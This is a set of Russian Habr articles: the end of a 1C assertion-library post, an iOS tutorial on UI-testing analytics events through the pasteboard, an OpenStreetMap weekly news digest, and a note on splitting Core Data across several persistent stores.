Ожидаем.Что(СтрДлина(НекаяСтрока)).Максимум(90);
Ожидаем.Что(55).Меньше(56);
Ожидаем.Что(1).Заполнено();
Ожидаем.Что(Новый Массив).Существует();
Ожидаем.Что(Неопределено).ЭтоНеопределено();
Ожидаем.Что(ВыборкаИзБД.НекоеПоле).ЭтоNull();
Ожидаем.Что("").ИмеетТип("Строка");
Ожидаем.Что(7).Между(1, 10);
Ожидаем.Что("Некая строка").Содержит("стр");
Ожидаем.Что("Некая строка").ИмеетДлину(12);
```
Пример немного сложнее:
```
Ожидаем.Что("Некая строка")
.Существует()
.Не_().ИмеетТип("Число")
.ИмеетДлину(12)
.Не_().Содержит("!!!");
```
#### Послесловие
Разработка доступна на [github](https://github.com/wizi4d/xUnitFor1C_2/blob/develop/Plugins/%D0%A3%D1%82%D0%B2%D0%B5%D1%80%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D1%8FBDD.epf). Как, наверное, заметил читатель с пытливым умом, ссылка ведет на нечто большее, чем просто на библиотеку утверждений. Но это уже материал для следующей статьи. | https://habr.com/ru/post/260013/ | null | ru | null |
# Автоматизация тестирования продуктовой аналитики в мобильных приложениях
Тестирование всех событий продуктовой аналитики перед каждым релизом обычно отнимает много времени. Это можно автоматизировать. Показываю, как именно, на примере iOS-приложения.
Вы когда-нибудь выпускали релиз, в котором случайно удалили код отправляющий некоторые важные события аналитики? Или забывали покрыть событиями новую фичу? А сколько времени ваши аналитики или тестировщики тратят на ручное тестирование перед каждым релизом? А если это приложение с тысячей событий?
В этой статье расскажу, как автоматизировать тестирование продуктовой аналитики, чтобы избежать проблем и сэкономить время и деньги.
Тестирование аналитики вручную
------------------------------
Когда пользователь совершает действие, то событие аналитики сразу отправляется в систему аналитики. И, к сожалению, это никак не отследить, чтобы протестировать. Только если модифицировать код приложения, чтобы вместе с отправкой события сделать дополнительное действие. Какие есть варианты:
1. Можно отправить локальное уведомление (типа Push) с названием и параметрами события. Это неудобно, так как перекрывает интерфейс приложения, а также сложно тестировать цепочку событий из-за того, что каждое новое уведомление перекрывает старые.
2. Добавить отладочный экран, на котором показан список всех отправленных событий. Но это тоже не очень удобно — нужно постоянно переключаться между приложением и этим экраном.
3. Либо события аналитики можно логировать и сразу отслеживать в консоли.
События аналитики в Console.appТретий вариант — самый удобный: его несложно сделать и он позволяет фильтровать события. Также при тестировании приложения сразу видно, какие события отправляются. И если приложение содержит небольшое количество событий, то этим вариантом можно обойтись, не прибегая к автоматизации.
Это всё способы тестирования события аналитики вручную. Но если в приложении событий много, то такое тестирование будет не быстрым.
Для того чтобы автоматизировать тестирование, можно воспользоваться UI-тестами. С их помощью можно переходить между экранами, совершать действия и проверять, что определенные события с указанными параметрами отправляются.
Тестирование аналитики UI-тестами
---------------------------------
У любого события есть имя, у некоторых бывают еще и параметры. Например, у «успешность авторизации» имя authorization и булевый параметр success.
Вообще, из UI-тестов нельзя узнать, какие события отправило приложение. Когда пользователь совершает действие, то они сразу попадают в систему аналитики. Но в этот момент их можно перехватить и сохранить в место, куда у UI-тестов есть доступ.
На практике есть два способа передачи данных из приложения в UI-тесты:
* Можно сохранить текстовые данные в невидимое текстовое поле или в свойство accessibilityLabel невидимой «вьюшки». Но в этом случае меняется иерархия «вьюшек», и это может привести к багам. Кроме того, не получится очистить список отправленных событий из UI-тестов.
* Или можно сохранить текстовые данные в буфер обмена, к которому у UI-тестов есть доступ. Этот вариант лучше, так как иерархия «вьюшек» не изменяется. Буфер обмена можно очистить из UI-тестов, а еще это проще в реализации.
Когда приложение запущено в режиме UI-тестирования, то можно подменить сервис отправки событий аналитики. Например, вместо AppMetrica подставить свой сервис, который будет отправлять события в буфер обмена. Далее в UI-тестах происходит чтение текстовых данных из буфера, преобразование их в массив событий и проверка.
Так в итоге будет выглядеть UI-тест, проверяющий события аналитики на экране авторизации:
```
func testLoginSuccess() {
// Запустить приложение
launchApp()
// Проверить что отправилось событие показа экрана авторизации
analytics.assertContains(name: "open_login_screen")
// Успешно залогиниться
loginScreen.login(success: true)
// Проверить что отправилось событие успешной авторизации
analytics.assertContains("authorization", ["success": true])
}
```
### Доработки со стороны приложения
Расскажу о том, как доработать код приложения, чтобы события аналитики отправлялись и в систему аналитики, и в буфер обмена в зависимости от переданных аргументов при запуске приложения.
#### Базовые сущности
Представим событие аналитики в виде следующей структуры:
```
public struct MetricEvent: Equatable {
public let name: String
public let values: [String: AnyHashable]?
public init(name: String, values: [String: AnyHashable]? = nil) {
self.name = name
self.values = values
}
}
```
Структура MetricEvent будет использоваться и в коде приложения, и в коде UI-тестов. Поэтому вынесем её в отдельный модуль — MetricExampleCore. Для этого нужно создать новый Target типа Framework.
Событие что-то должно отправлять, поэтому объявим соответствующий протокол:
```
import MetricExampleCore
/// Сервис отправки событий в аналитику
public protocol MetricService {
func send(event: MetricEvent)
}
```
В первой строчке импортируем модуль, в котором объявили структуру MetricEvent.
#### Сервисы отправки событий
Этому протоколу будут соответствовать классы, отправляющие события куда-либо. К примеру, класс для отправки событий в AppMetrica:
```
import Foundation
import MetricExampleCore
import YandexMobileMetrica
open class AppMetricaService: MetricService {
public init(configuration: YMMYandexMetricaConfiguration) {
YMMYandexMetrica.activate(with: configuration)
}
open func send(event: MetricEvent) {
YMMYandexMetrica.reportEvent(event.name, parameters: event.values, onFailure: nil)
}
}
```
В нашем случае нужен класс, который отправляет события в буфер обмена. Создаем его:
```
import Foundation
import MetricExampleCore
import UIKit
final class MetricServiceForUITests: MetricService {
// Массив всех отправленных событий аналитики
private var metricEvents: [MetricEvent] = []
func send(event: MetricEvent) {
guard ProcessInfo.processInfo.isUITesting,
ProcessInfo.processInfo.sendMetricsToPasteboard else {
return
}
if UIPasteboard.general.string == nil ||
UIPasteboard.general.string?.isEmpty == true {
metricEvents = []
}
metricEvents.append(event)
if let metricsString = try? encodeMetricEvents(metricEvents) {
UIPasteboard.general.string = metricsString
}
}
private func encodeMetricEvents(_ events: [MetricEvent]) throws -> String {
let arrayOfEvents: [NSDictionary] = events.map { $0.asJSONObject }
let data = try JSONSerialization.data(withJSONObject: arrayOfEvents)
return String(decoding: data, as: UTF8.self)
}
}
```
В методе send можно проверить, что приложение запущено в режиме UI-тестирования и разрешена отправка событий в буфер обмена. Затем в массив всех отправленных событий добавляется новое.
После этого массив представляется в виде текста с использованием метода encodeMetricEvents. Там каждое событие преобразуется в словарь и полученный массив сериализуется. После этого строка сохраняется в буфер обмена.
```
// MetricEvent.swift
...
/// Представляет событие в виде словаря для передачи в JSONSerialization.data(withJSONObject:)
public var asJSONObject: NSDictionary {
return [
"name": name,
"values": values ?? [:]
]
}
...
```
Каждый UIViewController, который будет отправлять события, получит в инициализатор зависимость MetricService.
```
final class LoginViewController: UIViewController {
private let metricService: MetricService
init(metricService: MetricService = ServiceLayer.shared.metricService) {
self.metricService = metricService
super.init(nibName: nil, bundle: nil)
}
...
```
Чтобы не передавать каждый раз вручную эту зависимость, можно использовать паттерн Service Locator и создать класс ServiceLayer. В нем будет создаваться и храниться MetricService, который будет передаваться во все контроллеры.
```
import Foundation
import YandexMobileMetrica
final class ServiceLayer {
static let shared = ServiceLayer()
private(set) lazy var metricService: MetricService = {
if ProcessInfo.processInfo.isUITesting {
return MetricServiceForUITests()
} else {
let config = YMMYandexMetricaConfiguration(apiKey: "APP_METRICA_API_KEY")
return AppMetricaService(configuration: config)
}
}()
}
```
Если приложение запущено в режиме UI-тестирования, то для отправки событий используется MetricServiceForUITests. В ином случае AppMetricaService.
#### Отправка событий
Осталось объявить все события, которые будут отправляться. Для этого нужно написать расширение MetricEvent:
```
import Foundation
import MetricExampleCore
extension MetricEvent {
/// Пользователь перешел на экран авторизации
static var openLogin: MetricEvent {
MetricEvent(name: "open_login_screen")
}
/// Пользователь ввел логин и пароль и инициировал авторизацию.
///
/// - Parameter success: Успешность запроса.
/// - Returns: Событие метрики.
static func authorization(success: Bool) -> MetricEvent {
MetricEvent(
name: "authorization",
values: ["success": success]
)
}
}
```
Теперь события можно отправлять:
```
metricService.send(event: .openLogin)
metricService.send(event: .authorization(success: true))
metricService.send(event: .authorization(success: false))
```
#### Аргументы запуска
Я уже упоминал такие вещи, как:
```
ProcessInfo.processInfo.isUITesting
ProcessInfo.processInfo.sendMetricsToPasteboard
```
При запуске UI-тестов на аналитику будут передаваться два аргумента: --UI-TESTING и --SEND-METRICS-TO-PASTEBOARD. Первый показывает, что приложение запущено в режиме UI-тестирования. Второй — что приложению разрешено отправлять события аналитики в буфер обмена. Чтобы получить доступ к этим аргументам, нужно написать расширение для ProcessInfo:
```
import Foundation
extension ProcessInfo {
var isUITesting: Bool { arguments.contains("--UI-TESTING") }
var sendMetricsToPasteboard: Bool { arguments.contains("--SEND-METRICS-TO-PASTEBOARD") }
}
```
### Доработки со стороны UI-тестов
Теперь расскажу, как на стороне UI-тестов получить список отправленных событий из буфера обмена и проверить их.
#### Получение списка отправленных событий
Чтобы получить текстовые данные из буфера, используем *UIPasteboard.general.string*. Затем строку нужно преобразовать в массив событий (MetricEvent). В методе decodeMetricEvents строка преобразуется в объект Data и десериализуется в массив с помощью JSONSerialization:
```
/// Возвращает список всех событий аналитики произошедших с момента запуска приложения
func extractAnalytics() -> [MetricEvent] {
let string = UIPasteboard.general.string!
if let events = try? decodeMetricEvents(from: string) {
return events
} else {
return []
}
}
/// Преобразует строку с массивом событий в массив объектов [MetricEvent]
private func decodeMetricEvents(from string: String) throws -> [MetricEvent] {
guard !string.isEmpty else { return [] }
let data = Data(string.utf8)
guard let arrayOfEvents: [NSDictionary] = try JSONSerialization.jsonObject(with: data) as? [NSDictionary] else {
return []
}
return arrayOfEvents.compactMap { MetricEvent(from: $0) }
}
```
Далее массив словарей преобразуется в массив MetricEvent. Для этого у MetricEvent нужно добавить инициализатор из словаря:
```
/// Пытается создать объект MetricEvent из словаря
public init?(from dict: NSDictionary) {
guard let eventName = dict["name"] as? String else { return nil }
self = MetricEvent(
name: eventName,
values: dict["values"] as? [String: AnyHashable])
}
```
Теперь можно получить массив событий [MetricEvent] и проанализировать его.
Если в процессе тестирования понадобится очистить список событий, то тут поможет:
```
UIPasteboard.general.string = ""
```
#### Проверки списка событий
Можно написать несколько вспомогательных методов, которые будут проверять массив событий. Вот один из них: он проверяет наличие события с указанным именем.
```
/// Проверяет наличие события с указанным именем
/// - Parameters:
/// - name: Название события
/// - count: Количество событий с указанным именем. По умолчанию равно 1.
func assertContains(
name: String,
count: Int = 1) {
let records = extractAnalytics()
XCTAssertEqual(
records.filter { $0.name == name }.count,
count,
"Событие с именем \(name) не найдено.")
}
```
В итоге получился класс AnalyticsTestBase. Посмотреть его можно на GitHub — [AnalyticsTestBase.swift](https://github.com/subdan/metric-testing/blob/master/MetricExampleUITests/Tests/Base/AnalyticsTestBase.swift)
Создадим класс, наследника XCTestCase, от которого будут наследоваться классы, тестирующие аналитику. Он создает класс AnalyticsTestBase для тестирования аналитики и метод launchApp, запускающий приложение.
```
import XCTest
class TestCaseBase: XCTestCase {
var app: XCUIApplication!
var analytics: AnalyticsTestBase!
override func setUp() {
super.setUp()
app = XCUIApplication()
analytics = AnalyticsTestBase(app: app)
}
/// Запускает приложение для UI-тестирования с указанными параметрами.
func launchApp(with parameters: AppLaunchParameters = AppLaunchParameters()) {
app.launchArguments = parameters.launchArguments
app.launch()
}
}
```
Метод будет принимать AppLaunchParameters (параметры запуска приложения, о которых я говорил выше).
```
struct AppLaunchParameters {
/// Отправлять аналитику в UIPasteboard
private let sendMetricsToPasteboard: Bool
init(sendMetricsToPasteboard: Bool = false) {
self.sendMetricsToPasteboard = sendMetricsToPasteboard
}
var launchArguments: [String] {
var arguments = ["--UI-TESTING"]
if sendMetricsToPasteboard {
arguments.append("--SEND-METRICS-TO-PASTEBOARD")
}
return arguments
}
}
```
В обычных UI-тестах приложение будет запускаться с параметрами:
```
AppLaunchParameters(sendMetricsToPasteboard: false)
```
А в UI-тестах на аналитику:
```
AppLaunchParameters(sendMetricsToPasteboard: true)
```
Теперь можно писать тесты на аналитику. Например, это тест на экран входа:
```
final class LoginAnalyticsTests: TestCaseBase {
private let loginScreen = LoginScreen()
func testLoginSuccess() {
launchApp(with: AppLaunchParameters(sendMetricsToPasteboard: true))
// Проверить что отправилось событие показа экрана входа
analytics.assertContains(name: "open_login_screen")
// Успешно залогинится
loginScreen.login(success: true)
// Проверить что отправилось событие успешной авторизации
analytics.assertContains("authorization", ["success": true])
}
}
```
LoginScreen — это Page Object, описывающий экран авторизации. Посмотреть его можно на GitHub — [LoginScreen.swift](https://github.com/subdan/metric-testing/blob/master/MetricExampleUITests/Screens/LoginScreen.swift)
Примеры
-------
### Example проект
[iOS-проект, где используется автоматизированное тестирование аналитики](https://github.com/subdan/metric-testing) UI-тестами.
Это простое приложение, состоящее из двух экранов: вход и меню. События отправляются при заходе на каждый экран, при авторизации и при выборе пункта меню.
Тест, покрывающий все эти события:
```
import XCTest
final class AnalyticsTests: TestCaseBase {
private let loginScreen = LoginScreen()
private let menuScreen = MenuScreen()
// MARK: - Login
func testLoginSuccess() {
launchApp(with: AppLaunchParameters(sendMetricsToPasteboard: true))
analytics.assertContains(name: "open_login_screen")
loginScreen.login(success: true)
analytics.assertContains("authorization", ["success": true])
}
func testLoginFailed() {
launchApp(with: AppLaunchParameters(sendMetricsToPasteboard: true))
analytics.assertContains(name: "open_login_screen")
loginScreen.login(success: false)
analytics.assertContains("authorization", ["success": false])
}
// MARK: - Menu
func testOpenMenu() {
launchApp(with: AppLaunchParameters(sendMetricsToPasteboard: true))
loginScreen.login(success: true)
waitForElement(menuScreen.title)
analytics.assertContains(name: "open_menu_screen")
}
func testMenuSelection() {
launchApp(with: AppLaunchParameters(sendMetricsToPasteboard: true))
loginScreen.login(success: true)
waitForElement(menuScreen.title)
menuScreen.profileCell.tap()
analytics.assertContains("menu_item_selected", ["name": "Профиль"])
menuScreen.messagesCell.tap()
analytics.assertContains("menu_item_selected", ["name": "Сообщения"])
}
}
```
### Реальный проект
Пример UI-тестов на аналитику экрана авторизации из реального проекта — [LoginAnalyticsTests.swift](https://gist.github.com/subdan/c5698fac4ce102b8d72ce8a79f86895d)
**Пример, как мне, разработчику, помогли UI-тесты на аналитику.** На одном проекте нужно было произвести рефакторинг и редизайн главного экрана приложения. Экран был сложным, с большим количеством событий аналитики. На тот момент в проекте я уже настроил тесты. После рефакторинга и редизайна запустил тесты и обнаружил, что некоторые события случайно удалил. Если бы не тесты на аналитику, эти события не попали бы в релиз.
Итоги
-----
Плюсы подхода:
1. Продуктовому аналитику или тестировщику не нужно проверять все события аналитики вручную. А это экономия времени и, соответственно, денег.
2. Если у вас настроен CI, то UI-тесты на аналитику можно запускать по расписанию, например, раз в неделю или по команде из Slack.
Есть и минусы:
1. UI-тесты выполняются относительно долго. Имеет смысл запускать их только в процессе регрессионного тестирования перед каждым релизом.
2. UI-тесты на аналитику смогут написать только те тестировщики, которые имеют опыт написания нативных UI-тестов.
В случае ручного тестирования, при добавлении новых событий, нужно линейно больше времени на тестирование. Автоматизированное тестирования быстрее, но для него нужно подготовить инфраструктуру: это займет некоторое время. Но после этого добавление теста на новое событие будет проходить быстрее.
Поэтому в случае большого проекта есть смысл автоматизировать проверку событий аналитики. | https://habr.com/ru/post/523018/ | null | ru | null |
# Новости из мира OpenStreetMap № 502 (25.02.2020-02.03.2020)
Сообщество OSM во Франции напоминает — «Атрибуция — это не опция!» [1](#wn502_22048) | Изображение [Кристиана Квеста](https://twitter.com/cq94/) | map data OpenStreetMap contributors
Картографирование
-----------------
* Маркус Пелосо разработал [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/food_sharing) тегирования, с помощью которой можно будет отмечать места, где люди обмениваются друг с другом излишками продуктов, а потому [просит](https://lists.openstreetmap.org/pipermail/tagging/2020-February/051326.html) подписчиков списка рассылки «Тегирование» высказать свое мнение. Его предложение аналогично уже существующим тегам [give\_box](https://wiki.openstreetmap.org/wiki/Tag:amenity%3Dgive_box) (место обмена вещами) и [public\_bookcase](https://wiki.openstreetmap.org/wiki/Tag:amenity%3Dpublic_bookcase) (место обмена книгами), но только для продуктов питания.
* Мартин Коппенхуфер предлагает вновь рассмотреть [схему](https://wiki.openstreetmap.org/wiki/Proposed_features/amenity%3Dstudent_accommodation) тегирования `amenity=student_accommodation`, разработанную пользователем Hno в 2014 году, которой предлагать отмечать места размещения студентов, а потому [ждет](https://lists.openstreetmap.org/pipermail/tagging/2020-February/051369.html) наших с вами комментариев.
* Рори МакКан [интересуется](https://lists.openstreetmap.org/pipermail/tagging/2020-February/051394.html), существует ли тег для обозначения информационных досок, карты на которых выполнены из данных OSM.([Nabble](http://gis.19327.n8.nabble.com/How-to-map-an-OpenStreetMap-map-td5959567.html))
* [Пересекающиеся](https://server.nikhilvj.co.in/OSM/roads.html) автомагистрали (дороги) в Индии — это карта мест в Индии, где дороги пересекаются или перекрывают друг друга, но при этом не имеют общей точки в месте соприкосновения. На ней можно посмотреть детали каждого случая, а также сразу же открыть это место в онлайн-редакторе iD, чтобы всё привести в порядок. Карта обновляется ежедневно. В основе карты обработанные данные, которые были выгружены с помощью [OSMLint](https://github.com/osmlab/osmlint). В качестве фронтенда используется leaflet-simple-csv. Важно отметить, что иногда система неверно распознает ошибки, например, в случае с пешеходными мостами.
* Одобрено два [новых тега](https://wiki.openstreetmap.org/w/index.php?title=Proposed_features/Free_Water) `drinking_water:refill=` and `drinking_water:refill_scheme=`, которые были предложены Европейским проектом по водным ресурсам. Теперь ими необходимо отмечать те заведения, которые присоединились к этому проекту и готовы любому бесплатно наполнить бутылку питьевой водой.
* Брайан Прангл в бодрящий дождливый день ранней весны совершил короткую полуторачасовую прогулку вокруг парка Уорд Энд в Бирмингеме (Великобритания). В своем блоге он [рассказал](http://www.mappa-mercia.org/2020/03/osmuk-first-quarterly-project-2020-parks.html), как эта прогулка помогла сообществу OSM в Великобритании выбрать новое задание для очередного ежеквартального проекта по картографированию. Помимо этого, он привел несколько интересных исторических фактов про этот парк, а также поделился своими наблюдениями о том, как парк изменился с того времени, как он был отрисован в 2009 году в OSM.
* Пользователи Manonv и Kateregga1 [предлагают](https://wiki.openstreetmap.org/wiki/Proposed_features/Refugee_Site_Location) использовать тег `place=refugee_site` для обозначения лагерей беженцев, а также написали в WikiOSM подробную статью о том, почему нужно использовать именно его. Они надеются, что это поставит точку в дискуссии внутри сообщества OSM относительно картографирования указанных объектов.
* Матеуш Конечный [опубликовал](https://github.com/westnordost/StreetComplete/issues/1749) подробную статистику правок OSM, которые были сделаны через мобильное приложение (для Android) StreetComplete.
Сообщество
----------
* Джерри МакГоверн планирует выступить на конференции [An Event Apart](https://aneventapart.com/) с серией докладов о влиянии цифровизации на окружающую среду и путях ее улучшения. Поэтому он будет рад, если мы [поделимся](https://lists.openstreetmap.org/pipermail/talk/2020-February/084198.html) с ним аргументами насчет того, почему OSM более экологичен, чем Google Maps.
* Пользователь mavl [подробно](https://www.openstreetmap.org/user/mavl/diary/392348) разобрал первые 3 тысячи жалоб на сайте osm.org из имеющихся 7,5. Большинство жалоб связано со спамом, а если жалоба на пользователя, то, скорее всего, из-за вандализма.
* Ибрагим Сори Диалло, студент магистратуры по специальности «География — городские пространства и общества» в Университете Гастона Бергера в Сен-Луи (Сенегал), в блоге [YouthMappers](https://www.youthmappers.org/single-post/2020/02/27/Unforgettable-outing-of-a-YouthMapper---AGDIC-2019-Accra---Ghana) делится своим опытом участия в первой Африканской конференции по геопространственным данным и Интернету ([AGDIC2019](https://afrigeocon.org/2019/)), которую он посетил в Аккре (Гана).
Импорты
-------
* Дин Кенсок планирует выполнить массовый импорт зданий в американском городе Флагстафф (штат Аризона), которые ему были предоставлены ГИС-командой этого города. Он [подробно](https://wiki.openstreetmap.org/wiki/Import/City_of_Flagstaff,_Arizona_Buildings_and_Addresses) написал в WikiOSM, как это будет делать.
* Стефан Баблер [спрашивает](https://lists.openstreetmap.org/pipermail/imports/2020-February/006165.html), как обновить границы словенских муниципалитетов и городов в OSM в связи с тем, что были опубликованы новые официальные данные об этих границах. Они совпадают с кадастровыми участками, а это означает, что то, что сейчас внесено в OSM, устарело.
События
-------
* Местное сообщество OpenStreetMap, OsGeo/FOSS4G и другие любители карт на Филиппинах [сообщили](https://en.osm.town/@pistangmapa/103745100227157653), что в этом году конференция [Pista ng Mapa](https://pistangmapa.github.io/2020/) (Фестиваль карт) пройдет в городе Себу с 27 по 29 мая. Следите за новостями в [Твиттере](https://twitter.com/PistaNgMapa).
* В этом году в США конференция "[State of Map](https://2020.stateofthemap.us/)" пройдет в городе Тусон (штат Аризона) с 5 по 7 ноября. Организаторы [проводят](https://www.openstreetmap.us/2020/02/sotmus-2020-tucson/) конкурс на разработку логотипа, заявки принимаются до 22 марта. Если вы хотите сделать нечто большее, чем просто побывать на конференции, то обратите внимание, что им требуются волонтеры.
Гуманитарный OSM
----------------
* Мобильное приложение MapSwipe получило награду Global Mobile Award за лучшую инновационную мобильную поддержку в чрезвычайных или гуманитарных ситуациях. Блог GIScience News Blog [рассказывает](http://k1z.blog.uni-heidelberg.de/2020/02/28/mapswipe-wins-global-mobile-award-for-the-best-mobile-innovation-supporting-emergency-or-humanitarian-situations/) о целях и предыстории появления проекта MapSwipe.
Переходим на OSM
----------------
* Город Дюссельдорф в Германии в сотрудничестве с близлежащими муниципалитетами обновил свои [официальные карты](https://maps.duesseldorf.de/stk/) и теперь объединяет кадастровые данные с данными OSM. В статье, помимо прочего, [говорится](https://www.duesseldorf.de/aktuelles/news/detailansicht/newsdetail/neuer-amtlicher-stadtplan-online-1.html) о преимуществах такого комбинирования данных.
Лицензии
--------
* Кристиан Квест в [Твиттере](https://twitter.com/cq94/status/1234516075695525888?s=19) и французском списке рассылки [Talk](https://lists.openstreetmap.org/pipermail/talk-fr/2020-March/097241.html) рассказал, как он поборолся с теми сайтами, которые используют тайлы с сервера [tile.openstreetmap.fr](https://tile.openstreetmap.fr), но не указывают должным образом атрибуцию. После его акции «Напоминаем о тайлах», несколько интернет-ресурсов отреагировали в течение суток и указали атрибуцию.
Программное обеспечение
-----------------------
* [Биннетт](https://wiki.openstreetmap.org/wiki/User:Binnette) написал в своем дневнике о том, как он не так давно [стал](https://www.openstreetmap.org/user/Binnette/diary/392302) одним из новых разработчиков сервиса [uMap](https://umap.openstreetmap.fr/en/). На данный момент он ищет переводчиков и тех, кто поможет ему в разработке.
Программирование
----------------
* В [статье](https://medium.com/@frederic.rodrigo/imposm2pgrouting-route-planning-on-openstreetmap-road-network-with-the-benefit-of-updates-1e70f280ac5e) Фредерика Родриго «Использование ImpOsm2pgRouting для построения маршрутов в дорожной сети OpenStreetMap при помощи обновлений» рассказывается об инструменте программирования [ImpOsm2pgRouting](https://github.com/pgRouting/osm2pgrouting). Данный инструмент может импортировать данные OSM, включая формат pbf, в PostgreSQL/PostGIS и преобразовывать их в модель данных PgRouting, что позволяет синхронизировать базу данных PgRouting с данными OSM. Линии дорог из OSM обрезаются на каждом пересечении, и характеристики каждого сегмента дорожной сети сохраняются для расчета маршрута с «наименьшими затратами», соблюдая различные ограничения, такие как скорость движения, одностороннее движение и т.д.
Релизы
------
* Вышла [новая](https://osmand.net/blog/osmand-3-6-released) версия OsmAnd (3.6) для Android. В ней улучшен [профиль](https://osmand.net/features/navigation-profiles) навигации, появились номера выходов, режим прямой навигации для морских пользователей и карта Антарктиды.
* Флоримон Берту [объявил](https://lists.openstreetmap.org/pipermail/talk/2020-February/084257.html) о выпуске новой версии [CyclOSM](https://www.cyclosm.org/), случилось это ровно год спустя после запуска сервиса. В своем сообщении он кратко рассказывает об улучшениях рендеринга, сделанных в последних версиях.
Знаете ли вы …
--------------
* … что [механические](https://wiki.openstreetmap.org/wiki/What%27s_the_problem_with_mechanical_edits%3F) правки запрещены в OSM, а также нарушают [правила](https://wiki.openstreetmap.org/wiki/Automated_Edits_code_of_conduct) внесения автоматических правок?
Другие «гео» события
--------------------
* В MobiGyaan вышла [статья](https://www.mobigyaan.com/everything-you-need-to-know-about-navic-indias-navigation-satellite-system), в которой рассказывается все, что нужно знать о NavIC. NAVigation with Indian Constellation ([NavIC](https://ru.wikipedia.org/wiki/IRNSS)) — это автономная региональная спутниковая навигационная система Индии.
* Сервис Google Планета Земля наконец-то [доступен](https://www.theverge.com/2020/2/27/21155707/google-earth-firefox-edge-opera-support-webassembly-code-update-web-release) в других браузерах, кроме Chrome. Google последние полгода тестировала переход от NaCI к WebAssembly, что и позволило теперь запускать Google Планета Земля на Firefox, Edge и Opera. Если вы хотите опробовать Google Планета Земля в веб-браузере, он доступен на [сайте](https://earth.google.com/web/) Google.
* HERE [выпустила](https://www.globenewswire.com/news-release/2020/02/27/1991586/0/en/HERE-unveils-Geodata-Models-to-lower-5G-wireless-network-planning-costs-and-accelerate-deployment.html) инструмент Geodata Models, который поможет телекоммуникационным компаниям проектировать и развертывать беспроводные сети 5G. Физические характеристики сетей [миллиметровых волн](https://ru.wikipedia.org/wiki/%D0%9C%D0%B8%D0%BB%D0%BB%D0%B8%D0%BC%D0%B5%D1%82%D1%80%D0%BE%D0%B2%D1%8B%D0%B5_%D0%B2%D0%BE%D0%BB%D0%BD%D1%8B) (mmWave) 5G могут потребовать от операторов установки большего количество базовых станций (до 10-и раз больше) на км2 по сравнению с 4G сетями. Поэтому проектирование таких сетей требует гораздо более точных данных о местоположении.
* Far & Wide создали [галерею](https://www.farandwide.com/s/hilarious-terrible-maps-ed81c3193fbb4d98?utm_campaign=terriblemaps-2a7398d36a8446c5&utm_source=twi&utm_medium=cpc&utm_content=1007877) своих любимых карт из серии "[Ужасные карты](https://www.facebook.com/TerribleMaps/)".
* Возможно, вы удивитесь, узнав, что бумажные карты все еще продаются. За последние пять лет продажи печатных карт и дорожных атласов в США выросли на 10%. В [статье](https://eu.usatoday.com/story/tech/2020/02/07/are-paper-maps-better-than-google-maps-apple-map-gps/4647383002/) Эдварда Байга, опубликованной в USA Today, рассказывается, почему вы никогда не оторвете некоторых людей от их бумажных карт.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [501](https://habr.com/ru/post/491518/), [500](https://habr.com/ru/post/490686/), [499](https://habr.com/ru/post/489948/), [498](https://habr.com/ru/post/488298/), [497](https://habr.com/ru/post/487556/) | https://habr.com/ru/post/492444/ | null | ru | null |
# Использование нескольких Persistent Store в Core Data
Всем iOS (да и MAC OS X) разработчикам известен такой системный фреймворк как Core Data. Эта штуковина представляет собой достаточно мощную ORM (по крайней мере для мобильной платформы).
Изначально в нашем приложении использовалась одна база данных для всей информации, которую нужно было сохранять в приложении. Но по мере разбухания функциональности стало понятно, что некоторые сущности логичнее расположить в разных базах, или даже в разных типах хранилищ (persistent store). Не буду углубляться в подробности, главное — что изначально монолитное NSSQLiteStore нужно было разделить на несколько.
В документации этот вопрос освещен очень бедно. Сказано лишь, что есть возможность пользоваться несколькими NSPersistentStore внутри одного NSPersistentStoreCoordinator'а, и даже более того, использовать их прямо из одного NSManagedObjectContext. Выглядит фантастикой.
Отчаявшись разобраться в вопросе исключително по эппловской документации пришлось переключится на гугл. Побродив по просторам сети, главным образом в районе Stack Overflow, я насобирал много кусочков информации, и после нескольких часов войны с XCode добился более менее рабочего решения. В ходе изучения вопроса выяснилось следущее:
Действительно, в одном NSManagedObjectContext может собираться информация из нескольких NSPersistentStore. Об этом есть подробная статья, которая описывает механизм подключения плагинов к приложению с Core Data. Ознакомиться можно тут: [www.cimgf.com/2009/05/03/core-data-and-plug-ins](http://www.cimgf.com/2009/05/03/core-data-and-plug-ins/)
Одному NSManagedObjectContext может соответствовать только одна NSManagedObjectModel. Как же указать какие сущности в каком хранилище должны хранится? Это делается с помощью имени конфигурации. Можно создать набор конфигураций в одной NSManagedObjectModel, а можно взять несколько NSManagedObjectModel и смерджить их в одну (при этом при создании каждой по прежнему нужно создавать именованную конфигурацию).
```
-(NSManagedObjectModel*)managedObjectModel;
{
if(managedObjectModel)return managedObjectModel;
NSBundle*myBundle =[NSBundle bundleForClass:[self class]];
NSArray*bundles =[NSArray arrayWithObject:myBundle];
managedObjectModel =[[NSManagedObjectModel mergedModelFromBundles:bundles] retain];
return managedObjectModel;
}
```
После того как у нас есть подготовленная (смердженная или заранее созднанная) NSManagedObjectModel, можно добавлять хранилища в координатор с помощью функции
```
- (NSPersistentStore *)addPersistentStoreWithType:(NSString *)storeType configuration:(NSString *)configuration URL:(NSURL *)storeURLoptions:(NSDictionary *)options error:(NSError **)error
```
используя имя конфигурации для каждого типа хранилища. Примерно так:
```
NSPersistentStore * store = [_persistentStoreCoordinator addPersistentStoreWithType:NSSQLiteStoreType
configuration:CONFIG_NAME
URL:databaseURL
options:options
error:&error];
```
Файл с хранилищем создастся автоматически. После того как цель была достигнута уж очень хотелось своими глазами посмотреть на хранилища которые Core Data там насоздавала. Конкретно под лупой рассматривался NSSQLiteStore. Выяснилась интересная вещь — каким бы не было имя конфигурации для файла, в нем все равно создаются таблички для всех сущностей из object model. Однако же сущности в файл пишутся именно те, которые указаны в конфигурации. В остальном все магическим образом заработало, из одного NSManagedObjectModel сущности действительно распихивались по разным базам!
